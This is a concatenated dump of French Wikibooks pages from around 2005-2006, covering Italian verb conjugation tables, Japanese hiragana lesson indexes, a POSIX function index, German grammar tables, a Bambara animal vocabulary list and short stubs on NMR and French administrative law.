align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center"`>credere</div> <td width="26%"> <div align="center">avere creduto</div> </td> <td width="27%"> <div align="center">credendo</div> </td> <td width="24%"> <div align="center">avendo creduto</div> </td> </tr> </table> En "ire" - 1ère conjugaison - (Ex: dormire - (dormir)) 3364 14880 2005-04-26T00:37:02Z 24.200.27.225 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">dormo</div> </td> <td width="26%"> <div align="center">dormivo</div> </td> <td width="27%"> <div align="center">dormir&ograve;</div> </td> <td width="24%"> <div align="center">dormii</div> </td> </tr> <tr> <td width="23%"> <div align="center">dormi</div> </td> <td width="26%"> <div align="center">dormivi</div> </td> <td width="27%"> <div align="center">dormirai</div> </td> <td width="24%"> <div align="center">dormisti</div> </td> </tr> <tr> <td width="23%"> <div align="center">dorme</div> </td> <td width="26%"> <div align="center">dormiva</div> </td> <td width="27%"> <div align="center">dormir&agrave;</div> </td> <td width="24%"> <div align="center">dorm&agrave;</div> </td> </tr> <tr> <td width="23%"> <div align="center">dormiamo</div> </td> <td width="26%"> <div align="center">dormivamo</div> </td> <td width="27%"> <div align="center">dormiremo</div> </td> <td width="24%"> <div align="center">dormimmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">dormite</div> </td> <td width="26%"> <div align="center">dormivate</div> </td> <td width="27%"> <div align="center">dormirete</div> </td> <td width="24%"> <div align="center">dormiste</div> </td> </tr> <tr> <td width="23%"> <div align="center">dormono</div> </td> <td width="26%"> <div align="center">dormivano</div> </td> <td width="27%"> <div align="center">dormiranno</div> </td> <td width="24%"> <div align="center">dormirono</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">ho dormito</div> <td width="26%"> <div align="center">avevo dormito</div> </td> <td width="27%"> <div align="center">avr&ograve; dormito</div> </td> <td width="24%"> <div align="center">ebbi dormito</div> </td> </tr> <tr> <td width="23%"> <div align="center">hai dormito</div> </td> <td width="26%"> <div align="center">avevi dormito</div> </td> <td width="27%"> <div align="center">avrai dormito</div> </td> <td width="24%"> <div align="center">avesti dormito</div> </td> </tr> <tr> <td width="23%"> <div align="center">ha dormito</div> </td> <td width="26%"> <div align="center">aveva dormito</div> </td> <td width="27%"> <div align="center">avr&agrave; dormito</div> </td> <td width="24%"> <div align="center">ebbe dormito</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo dormito</div> </td> <td width="26%"> <div align="center">avevamo dormito</div> </td> <td width="27%"> <div align="center">avremo dormito</div> </td> <td width="24%"> <div align="center">avemmo dormito</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">avete dormito</div> </td> <td width="26%" height="13"> <div align="center">avevate dormito</div> </td> <td width="27%" height="13"> <div align="center">avrete dormito</div> </td> <td width="24%" height="13"> <div align="center">aveste dormito</div> </td> </tr> <tr> <td width="23%"> <div align="center">hanno dormito</div> </td> <td width="26%"> <div align="center">avevano dormito</div> </td> <td width="27%"> <div align="center">avranno dormito</div> </td> <td width="24%"> <div align="center">ebbero dormito</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">dorma</div> </td> <td width="26%"> <div align="center">dormissi</div> </td> <td width="27%"> <div align="center">abbia dormito</div> </td> <td width="24%"> <div align="center">avessi dormito</div> </td> </tr> <tr> <td width="23%"> <div align="center">dorma</div> </td> <td width="26%"> <div align="center">dormissi</div> <td width="27%"> <div align="center">abbia dormito</div> </td> <td width="24%"> <div align="center">avessi dormito</div> </td> </tr> <tr> <td width="23%"> <div align="center">dorma</div> </td> <td width="26%"> <div align="center">dormisse</div> </td> <td width="27%"> <div align="center">abbia dormito</div> </td> <td width="24%"> <div align="center">avesse dormito</div> </td> </tr> <tr> <td width="23%"> <div align="center">dormiamo</div> </td> <td width="26%"> <div align="center">dormissimo</div> </td> <td width="27%"> <div align="center">abbiamo dormito</div> </td> <td width="24%"> <div align="center">avessimo dormito</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">dormiate</div> </td> <td width="26%" height="13"> <div align="center">dormiste</div> </td> <td width="27%" height="13"> <div align="center">abbiate dormito</div> </td> <td width="24%" height="13"> <div align="center">aveste dormito</div> </td> </tr> <tr> <td width="23%"> <div align="center">dormano</div> </td> <td width="26%"> <div align="center">dormissero</div> </td> <td width="27%"> <div align="center">abbiano dormito</div> </td> <td width="24%"> <div align="center">avessero dormito</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">dormirei</div> </td> <td width="26%"> <div align="center">avrei dormito</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">dormito</div> </td> </tr> <tr> <td width="23%"> <div align="center">dormiresti</div> </td> <td width="26%"> <div align="center">avresti dormito</div> </td> <td width="27%"> <div align="center">dormi</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">dormirebbe</div> </td> <td width="26%"> <div align="center">avrebbe dormito</div> </td> <td width="27%"> <div align="center">dorma</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">dormiremmo</div> </td> <td width="26%"> <div align="center">avremmo dormito</div> </td> <td width="27%"> <div align="center">dormiamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">dormireste</div> </td> <td width="26%" height="13"> <div align="center">avreste dormito</div> </td> <td width="27%" height="13"> <div align="center">dormite</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">dormirebbero</div> </td> <td width="26%"> <div align="center">avrebbero dormito</div> </td> <td width="27%"> <div align="center">dormano</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center"`>dormire</div> <td width="26%"> <div align="center">avere dormito</div> </td> <td width="27%"> <div align="center">dormendo</div> </td> <td width="24%"> <div align="center">avendo dormito</div> </td> </tr> </table> Modèle:Japonais 3367 40966 2006-04-26T12:27:48Z Once 1433 faute d'orthographe : accEUil -> accUEil {| style="border:1px black solid; margin=5px 5px 1em 1em;width:200px;" cellspacing="0" cellpadding="5" align="right" | style="text-align:center;" | [[Image:japan.png|180px|japon]] |- | *[[Japonais:Table des matières|Accueil]] *[[Japonais:Expressions courantes|Expressions courantes]] *[[:Catégorie:Méthode de Japonais|Méthode]] **[[Introduction à la méthode de japonais|Introduction]] **[[Japonais:Leçon1|Leçon 1]] **[[Japonais:Leçon2|Leçon 2]] **[[Japonais:Leçon3|Leçon 3]] **[[Japonais:Leçon4|Leçon 4]] **[[Pool d'exercices (Méthode de japonais)|Pool d'exercices]] *[[:Catégorie:Glossaires de Japonais|Glossaires]] *L'écriture Japonaise **[[Japonais:Romaji|Romaji]] (ローマ字) **[[Japonais:Hiragana|Hiragana]] (ひらがな) **[[Japonais:Katakana|Katakana]] (カタカナ) **[[Japonais:Kanji|Kanji]] (漢字) |} Catégorie:Hiragana (Japonais) 3368 40818 2006-04-23T18:56:34Z 82.66.8.62 /* les Hiragana */ {{Modèle:Japonais}} [[Japonais:Table des matières|^ Japonais ^]] | Introduction | [[Leçon Hiragana 1|Leçon Hiragana1 >>]] = les Hiragana = == 9 Leçons pour apprendre les Hiraganas par des astuces mnémotechniques == [[Leçon Hiragana 1]] : On commence les Hiragana.<br /> [[Leçon Hiragana 2]] : On continue les Hiragana.<br /> [[Leçon Hiragana 3]] : On termine les Hiragana.<br /> [[Test Hiragana]] : Une poésie qui vous permettra de savoir si vous connaissez tous vos hiraganas.<br /> Heu Vous croyez avoir terminé .. et non en fait je ne vous ai pas tout expliqué.. [[Leçon Hiragana 4]] : "les deux petits traits(1/2).<br /> [[Leçon Hiragana 5]] : "les deux petits traits(2/2) le retour.<br /> [[Leçon Hiragana 6]] : les doubles consonnes.<br /> [[Leçon Hiragana 7]] : les voyelles longues.<br /> [[Leçon Hiragana 8]] : les semi-voyelles(1/2).<br /> [[Leçon Hiragana 9]] : les semi-voyelles(2/2).<br /> = Quelques liens = # en Francais ##http://home.worldcom.ch/~mrufenac/nihongo/testhiragana.html petit test en Javascript #en anglais ## JKanatest http://www.frezell.org/japanese/ petit programme en java pour tester ses hiragana et Katakana à noter que l'auteur propose des feuilles d'exercices assez unique pour s'entrainer à l'écriture http://www.frezell.org/japanese/Hiragana_Chart.pdf ## http://www.kanjistep.com/en/online/hiraganasteps : apprentissage avec animations ## Un très chouette jeux qui reprend le principe des RPG NES avec un graphisme assez vieillot. On se bat contre des "Slimes" qui portent le nom de caractère japonais. C'est un Shareware mais la version téléchargable est complète (pour windows, linux et Mac) http://lrnj.com/ ## Il existe aussi une version avec Sonic, c'est un freeware et ce n'est que pour windows DirectX9 oblige http://chinaland.cjb.net/ ## MLC Meguro Language Center propose enormement de documentation, notamment un Hiragana et Katakana Worksheet (27 pages) cela peut être une bonne idée de se l'imprimer http://www.mlcjapanese.co.jp/Download.htm [[Catégorie:Japonais]] Modèle:En travaux 3370 14886 2005-04-27T05:03:45Z Genepi2 249 <div class="alerte" id="style2">[[Image:Construction.png|left|32px|plot]]''Cet article est en travaux. Tant que cet avis n'aura pas disparu, veuillez en considérer le plan et le contenu encore incomplets, temporaires et sujets à caution. Si vous souhaitez participer, il vous est recommandé de consulter sa [[Discuter:{{PAGENAME}}|page de discussion]] au préalable, où des informations peuvent être données sur l'avancement des travaux.''</div> Résonance magnétique nucléaire (RMN) 3372 14888 2005-04-27T09:12:28Z 62.161.59.15 Cette technique est fondée sur les propriétés magnétiques des noyaux de spin non nul. Par exemple, le proton possède un spin nucléaire égal à 1/2. Soumis à un champ magnétique B, un proton possède 2 niveaux d'énergie. Programmation POSIX:Index 3374 14889 2005-04-28T06:03:19Z Guillaumito 46 /* C */ ajout liens __NOTOC__ {{Programmation POSIX}} {| style="width:100%;" | style="width:50%;" | == C == * chmod * chown * close [[Programmation POSIX:Fichiers#Fermeture|1]] * closedir * creat [[Programmation POSIX:Fichiers#Ouverture|1]] == D == * dup * dup2 == E == * execl * execle * execlp * execv * execve * execvp * exit == F == * fcntl * fork * fstat == G == * geteuid * getuid == K == * kill == L == * link * lseek == 0 == * open * opendir == P == * pipe * pthread_attr_destroy * pthread_attr_init * pthread_attr_getdetachstate | style="width:50%;" | == P == * pthread_attr_getinheritsched * pthread_attr_getschedparam * pthread_attr_getschedpolicy * pthread_attr_getscope * pthread_attr_setdetachstate * pthread_attr_setinheritsched * pthread_attr_setschedparam * pthread_attr_setschedpolicy * pthread_attr_setscope * pthread_create * pthread_detach * pthread_exit * pthread_join == R == * read * readdir * rename * rewinddir == S == * setuid * sigaction * sigaddset * sigdelset * sigemptyset * sigfillset * sigismember * sigpending * sigprocmask * sigsuspend * stat * symlink == T == * time == U == * unlink * utime == W == * wait * waitpid * write |} Droit administratif/L'acte administratif unilatéral 3375 41202 2006-04-29T15:55:16Z Pseudomoi 395 +cat Il s'agit ici d'etudier d'une part les principales missions confiées aux administrations,et d'analyser les actes que ces dernieres peuvent adopter pour parvenir à leurs fins.Dans ces conclusion du 3 mars 1969 J.KAHN de la société Interlait affirmait:"chacun s'accorde à reconnaître aujourd'hui que la distinction du contractuel et de l'unilatéral pose plus de question qu'elle ne permet d'en résoudre".Comme son nom l'indique l'acte administratif unilaterale est un acte juridique emanant directement ou indirectement de la puissance publique et s'integrant à une activité de public,au sens large.Il emane aussi bien d'autorités publiques comme les ministres ou les maires que de personne privés,physiques ou morales chargées de la gestion d'un service public . Les actes administratifs peuvent recevoir des dénomination fort diverses mais leur régime juridique est fondamentalement dominés par leur place dans la hiérarchie des normes. Il serai judicieux de commencer l'etude de cette question par la recherche des differentes catégories d'actes administratifs unilateraux. [[Catégorie:Droit administratif|Acte administratif unilatéral]] Allemand:Le futur 3376 30418 2006-01-26T17:38:44Z Alvaro 196 rv == Conjugaison des auxillaires == <table><tr> <td width=300px> === Conjugaison du verbe sein ('''être''') === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Sein || bgcolor=#FFFFCC | être |----- | width=80px | ich || width=80px | werde sein || width=80px | je serai |----- |du ||wirst sein || tu seras |----- |er/sie/es ||wird sein || il/elle/on sera |----- |wir ||werden sein || nous serons |----- |ihr ||werdet sein || vous serez |----- |Sie, sie ||werden sein || ils seront |} </td> <td width=300px> === Conjugaison du verbe haben ('''avoir''') === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Haben || bgcolor=#FFFFCC | avoir |----- | width=80px | ich || width=80px | werde haben || width=80px | j'aurai |----- |du || wirst haben || tu auras |----- |er/sie/es || wird haben || il/elle/on aura |----- |wir ||werden haben || nous aurons |----- |ihr || werdet haben || vous aurez |----- |Sie, sie || werden haben || ils auront |} </td></tr></table> <br /> === Conjugaison du verbe werden (devenir) === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Sein || bgcolor=#FFFFCC | être |----- | width=80px | ich || width=80px | werde werden || width=80px | je deviendrai |----- |du ||wirst werden || tu deviendras |----- |er/sie/es ||wird werden || il/elle/on deviendra |----- |wir ||werden werden || nous deviendrons |----- |ihr ||werdet werden || vous deviendrez |----- |Sie, sie ||werden werden || ils deviendront |} <br /> ---- Retour au [[Enseignement de l'allemand|sommaire]] ---- Allemand:Le subjonctif I 3377 14892 2005-04-29T18:21:49Z Antoinel 182 /* Formation du subjonctif I présent */ __NOTOC__ == Utilisation du subjonctif I présent == On emploie pricipalement le subjonctif I dans le discours indirect. On peut l'employer également dans une demande polie, un souhait, dans des tournures figées.<br />Exemple : Seien Sie bitte pünktlich ! Soyez à l'heure, s'il vous plaît <br />Es lebe der König ! Vive le roi ! == Formation du subjonctif I présent == Le subjonctif I présent se forme à l'aide du radical de l'infinitif et d'une désinence. <br /> <table border="1" cellspacing="0"style="background-color: #FFFFCC"> <tr align="center"><td>personnes</td><td>désinences</td><td>wohnen</td><td>lernen</td></tr> <tr align="center"><td>1ère personne (sing.)</td><td> -'''e''' </td><td>ich wohn'''e'''</td><td>ich lern'''e'''</td></tr> <tr align="center"><td>2ème personne (sing.)</td><td> -'''est''' </td><td>du wohn'''est'''</td><td>du lern'''est'''</td></tr> <tr align="center"><td>3ème personne (sing.)</td><td> -'''e''' </td><td>er, sie, es wohn'''e'''</td><td>er, sie, es lern'''e'''</td></tr> <tr align="center"><td>1ère personne (plur.)</td><td> -'''en''' </td><td>wir wohn'''en'''</td><td>wir lern'''en'''</td></tr> <tr align="center"><td>2ème personne (plur.)</td><td> -'''et''' </td><td>ihr wohn'''et'''</td><td>ihr lern'''et'''</td></tr> <tr align="center"><td>3ème personne (plur.)</td><td> -'''en''' </td><td>sie, Sie wohn'''en'''</td><td>sie, Sie lern'''en'''</td></tr></table> <br /> == Conjugaison des auxillaires au subjonctif I présent == <table><tr> <td width=300px> === Conjugaison du verbe sein ('''être''') === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Sein || bgcolor=#FFFFCC | être |----- | width=80px | ich || width=80px | sei || width=80px | |----- |du || seiest || |----- |er/sie/es || sei || |----- |wir ||seien || |----- |ihr ||seiet || |----- |Sie, sie ||seien || |} </td> <td width=300px> === Conjugaison du verbe haben ('''avoir''') === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Haben || bgcolor=#FFFFCC | avoir |----- | width=80px | ich || width=80px | habe || width=80px | |----- |du || habest || |----- |er/sie/es || habe || |----- |wir ||haben || |----- |ihr || habet || |----- |Sie, sie || haben || |} </td></tr></table> <br /> === Conjugaison du verbe werden (devenir) === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Werden || bgcolor=#FFFFCC | devenir |----- | width=80px | ich || width=80px | werde || width=80px | |----- |du ||werdest || |----- |er/sie/es ||werde || |----- |wir ||werden || |----- |ihr ||werdet || |----- |Sie, sie ||werden || |} <br /> ---- Retour au [[Enseignement de l'allemand|sommaire]] ---- Animaux (bambara) 3381 16028 2005-07-03T14:47:33Z Guaka 165 * [http://fr.wiktionary.org/wiki/Cat%C3%A9gorie:Lexique_en_bambara_des_animaux Lexique en bambara des animaux dans le Wiktionnaire] {{bambara}} ==Animaux== ;bâ :chevre ;baganw :animaux ;bama :crocodile ;fali :âne ;jakuma :chat ;dono :coq ;gélé :cerf ;kugonba :biche ;kugonfali :zèbre ;kungoniamu, kungonioromé :chameau ;mali :hippopotame ;mina :giraffe ;misi :vache ;namakoro :loup ;nioromé, niamu : dromadaire ;ngéléni :taupe ;nonsi :cameleon ;sâ :serpent ;saga :mouton ;sama : éléphant ;shè :poulet ;sigi : buffle (aussi: s'asseoir) ;sô :cheval (autre tonalité: maison) ;sonsani : lapin ;tinba : porc-epic ;toto :rat <!--raton laveur?--> ;wara :lion ;waramuso :lionne ;warace :lion (masculin) ;warablé/bouboutiga : babouin ;waranikala :panthere, tigre, léopard ;wulu :chien ('''attention''', autre tonalité: bite) <!-- fait par adama le 26/04/05 i ni ce kosebe! [[Utilisateur:Guaka|Guaka]] 27 avr 2005 à 23:40 (UTC) --> ==Voir== * [http://fr.wiktionary.org/wiki/Cat%C3%A9gorie:Lexique_en_bambara_des_animaux Lexique en bambara des animaux dans le Wiktionnaire] Japonais:Expressions courantes 3384 14896 2005-04-28T04:04:10Z Genepi2 249 Japonais:Expressions courantes déplacé vers Expressions courantes (japonais) #REDIRECT [[Expressions courantes (japonais)]] Japonais:Vocabulaire Mots interrogatif 3387 14899 2005-04-28T04:18:04Z Genepi2 249 Japonais:Vocabulaire Mots interrogatif déplacé vers Mots interrogatifs (japonais) #REDIRECT [[Mots interrogatifs (japonais)]] 2ième conjugaison - dovere (devoir) 3388 16036 2005-07-03T17:09:15Z Liquid Bird 382 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">devo ou debbo</div> </td> <td width="26%"> <div align="center">dovevo</div> </td> <td width="27%"> <div align="center">dovr&ograve;</div> </td> <td width="24%"> <div align="center">dovetti ou dovei</div> </td> </tr> <tr> <td width="23%"> <div align="center">devi</div> </td> <td width="26%"> <div align="center">dovevi</div> </td> <td width="27%"> <div align="center">dovrai</div> </td> <td width="24%"> <div align="center">dovesti</div> </td> </tr> <tr> <td width="23%"> <div align="center">dove</div> </td> <td width="26%"> <div align="center">doveva</div> </td> <td width="27%"> <div align="center">dovr&agrave;</div> </td> <td width="24%"> <div align="center">dovette ou dov&eacute;</div> </td> </tr> <tr> <td width="23%"> <div align="center">dobbiamo</div> </td> <td width="26%"> <div align="center">dovevamo</div> </td> <td width="27%"> <div align="center">dovremo</div> </td> <td width="24%"> <div align="center">dovemmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">dovete</div> </td> <td width="26%"> <div align="center">dovevate</div> </td> <td width="27%"> <div align="center">dovrete</div> </td> <td width="24%"> <div align="center">doveste</div> </td> </tr> <tr> <td width="23%"> <div align="center">devno ou debbono</div> </td> <td width="26%"> <div align="center">dovevano</div> </td> <td width="27%"> <div align="center">dovranno</div> </td> <td width="24%"> <div align="center">dovettero ou dovero</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">ho dovuto</div> <td width="26%"> <div align="center">avevo dovuto</div> </td> <td width="27%"> <div align="center">avr&ograve; dovuto</div> </td> <td width="24%"> <div align="center">ebbi dovuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hai dovuto</div> </td> <td width="26%"> <div align="center">avevi dovuto</div> </td> <td width="27%"> <div align="center">avrai dovuto</div> </td> <td width="24%"> <div align="center">avesti dovuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">ha dovuto</div> </td> <td width="26%"> <div align="center">aveva dovuto</div> </td> <td width="27%"> <div align="center">avr&agrave; dovuto</div> </td> <td width="24%"> <div align="center">ebbe dovuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">abbiamo dovuto</div> </td> <td width="26%"> <div align="center">avevamo dovuto</div> </td> <td width="27%"> <div align="center">avremo dovuto</div> </td> <td width="24%"> <div align="center">avemmo dovuto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">avete dovuto</div> </td> <td width="26%" height="13"> <div align="center">avevate dovuto</div> </td> <td width="27%" height="13"> <div align="center">avrete dovuto</div> </td> <td width="24%" height="13"> <div align="center">aveste dovuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">hanno dovuto</div> </td> <td width="26%"> <div align="center">avevano dovuto</div> </td> <td width="27%"> <div align="center">avranno dovuto</div> </td> <td width="24%"> <div align="center">ebbero dovuto</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">debba</div> </td> <td width="26%"> <div align="center">dovessi</div> </td> <td width="27%"> <div align="center">abbia dovuto</div> </td> <td width="24%"> <div align="center">avessi dovuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">debba</div> </td> <td width="26%"> <div align="center">dovessi</div> <td width="27%"> <div align="center">abbia dovuto</div> </td> <td width="24%"> <div align="center">avessi dovuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">debba</div> </td> <td width="26%"> <div align="center">dovesse</div> </td> <td width="27%"> <div align="center">abbia dovuto</div> </td> <td width="24%"> <div align="center">avesse dovuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">dobbiamo</div> </td> <td width="26%"> <div align="center">dovessimo</div> </td> <td width="27%"> <div align="center">abbiamo dovuto</div> </td> <td width="24%"> <div align="center">avessimo dovuto</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">dobbiate</div> </td> <td width="26%" height="13"> <div align="center">doveste</div> </td> <td width="27%" height="13"> <div align="center">abbiate dovuto</div> </td> <td width="24%" height="13"> <div align="center">aveste dovuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">debbano</div> </td> <td width="26%"> <div align="center">dovessero</div> </td> <td width="27%"> <div align="center">abbiamo dovuto</div> </td> <td width="24%"> <div align="center">avessero dovuto</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">dovrei</div> </td> <td width="26%"> <div align="center">avrei dovuto</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">dovuto</div> </td> </tr> <tr> <td width="23%"> <div align="center">dovresti</div> </td> <td width="26%"> <div align="center">avresti dovuto</div> </td> <td width="27%"> <div align="center">inusité</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">dovrebbe</div> </td> <td width="26%"> <div align="center">avrebbe dovuto</div> </td> <td width="27%"> <div align="center">inusité</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">dovremmo</div> </td> <td width="26%"> <div align="center">avremmo dovuto</div> </td> <td width="27%"> <div align="center">inusité</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">dovreste</div> </td> <td width="26%" height="13"> <div align="center">avreste dovuto</div> </td> <td width="27%" height="13"> <div align="center">inusité</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">dovrebbero</div> </td> <td width="26%"> <div align="center">avrebbero dovuto</div> </td> <td width="27%"> <div align="center">inusité</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">dovere</div> <td width="26%"> <div align="center">avere dovuto</div> </td> <td width="27%"> <div align="center">dovendo</div> </td> <td width="24%"> <div align="center">avendo dovuto</div> </td> </tr> </table> Allemand:Participe passé 3390 41775 2006-05-07T21:18:32Z 200.175.27.228 /* Participe passé des verbes forts */ __NOTOC__ == Participe passé des verbes faibles == <table WIDTH="80%" align="center"><tr><td style="background-color: #FFFFCC; border: solid 1px #FFBDBD; padding: 1em;" valign=top><center>préfixe '''GE''' - '''RADICAL DU VERBE''' - '''T''' </center> </td></tr></table> <br /> Exemple : <br /> <center><table border="1" cellspacing="0" style="background-color: #FFFFCC"> <tr><td width=100px>lernen</td><td width=100px>lachen</td><td width=100px>kaufen</td><td width=100px>arbeiten</td></tr> <tr><td>'''ge'''lern'''t'''</td><td>'''ge'''lach'''t'''</td><td>'''ge'''kauf'''t'''</td><td>'''ge'''arbeit'''et'''</td></tr> </table></center> <br /> * On peut ajouter un '''e''' entre le radical du verbe et le 